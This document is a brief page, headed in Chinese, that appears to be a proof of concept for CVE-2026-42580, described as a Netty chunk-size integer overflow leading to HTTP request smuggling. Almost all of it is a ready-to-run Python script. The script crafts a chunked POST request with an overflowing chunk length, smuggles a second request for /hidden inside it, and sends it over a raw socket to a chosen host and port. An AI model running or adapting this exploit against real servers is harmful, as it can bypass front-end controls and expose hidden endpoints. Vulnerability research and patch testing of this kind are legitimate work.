CVE-2026-42580 Netty请求走私漏洞

import socket def exploit_netty_smuggling(host, port): # PoC for CVE-2026-42580: Netty Chunk Size Overflow leading to Request Smuggling # This script sends a chunked request with a size that triggers an integer overflow. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Connection: keep-alive\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "80000000\r\n" # Large value to cause int overflow in 32-bit signed int "A" * 10 + "\r\n" "0\r\n" "\r\n" # Second request smuggled within the same connection "GET /hidden HTTP/1.1\r\n" f"Host: {host}\r\n" "\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) print(f"Payload sent to {host}:{port}") # Receive response to verify behavior response = s.recv(4096) print("Response:") print(response.decode()) s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target details exploit_netty_smuggling("127.0.0.1", 8080)